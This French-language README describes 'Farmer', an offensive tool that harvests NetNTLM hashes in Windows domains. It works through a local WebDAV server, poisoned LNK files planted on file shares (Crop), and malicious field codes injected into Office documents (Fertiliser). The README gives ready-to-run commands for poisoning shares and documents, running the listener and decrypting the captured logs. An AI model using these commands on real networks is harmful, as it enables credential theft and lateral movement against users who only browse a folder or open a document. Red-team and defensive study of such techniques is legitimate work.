
Récolte les hash NetNTLM dans les domaines Windows via un serveur WebDAV local, avec empoisonnement de fichier LNK et injection de code de champ de document Office pour le mouvement latéral et la capture d'identifiants.
Auteur : @domchell
Je voulais être agriculteur, alors j'ai commencé à récolter des hachages
Farmer est un projet destiné à collecter les hachages NetNTLM dans un domaine Windows. Farmer y parvient en créant un serveur WebDAV local qui force le Mini Redirector WebDAV à s'authentifier à partir de tout client connecté.
Pour que Farmer fonctionne, les clients DOIVENT pouvoir se connecter au serveur WebDAV local. Cela peut être empêché par la segmentation réseau et/ou le pare-feu Windows. Assurez-vous de vérifier ces points d'abord (indice : Seatbelt WindowsFirewall).
Farmer inclut un sous-module pour l'outil Crop, cet outil peut être utilisé pour créer des fichiers LNK qui initient une connexion WebDAV lors de la navigation dans un dossier où se trouve le LNK, car il essaiera de restituer l'icône stockée.
Le concept de l'attaque est le suivant : vous devez utiliser Crop pour empoisonner les partages de fichiers souhaités avec le fichier LNK pointant vers le serveur WebDAV de Farmer.
Par exemple :
crop.exe \\fileserver\Common crop.lnk \\workstation@8888\harvest \\workstation@8888\harvest
Lorsqu'un utilisateur navigue vers \fileserver\Common, l'explorateur tentera de récupérer l'icône depuis le serveur WebDAV de Farmer et, ce faisant, soumettra le hachage NetNTLM de l'utilisateur.
Farmer inclut un autre sous-module pour l'outil Fertiliser, cet outil peut être utilisé pour empoisonner des documents Office (actuellement uniquement docx) avec un code de champ malveillant. Cela provoque l'analyse du code de champ lors de l'ouverture du document et entraîne la fuite du hachage vers le serveur WebDAV de votre choix :)
Par exemple :
Fertiliser.exe \\fileserver\important.docx http://workstation:8888/foo "Mise à jour requise"
Farmer écoute sur un port défini par l'utilisateur, pendant un nombre de secondes et écrit la sortie dans le système de fichiers si nécessaire :
Utilisation :
farmer.exe <port> [secondes] [sortie]
Si aucune seconde n'est spécifiée, ou si elle est définie à 0, farmer s'exécutera indéfiniment, par exemple :
farmer.exe 8888 0 c:\windows\temp\test.tmp
Pour exécuter farmer pendant une minute sur le port 8888, faites ce qui suit :
farmer.exe 8888 60
Si vous souhaitez écrire le journal de Farmer dans le système de fichiers, vous pouvez chiffrer le fichier journal en AES en utilisant la clé définie dans Config.key et en définissant le booléen encrypt sur true (false par défaut).
Le fichier journal peut être déchiffré avec l'outil HarvestCrop, par exemple :
harvestcrop.exe c:\windows\temp\test.tmp farmer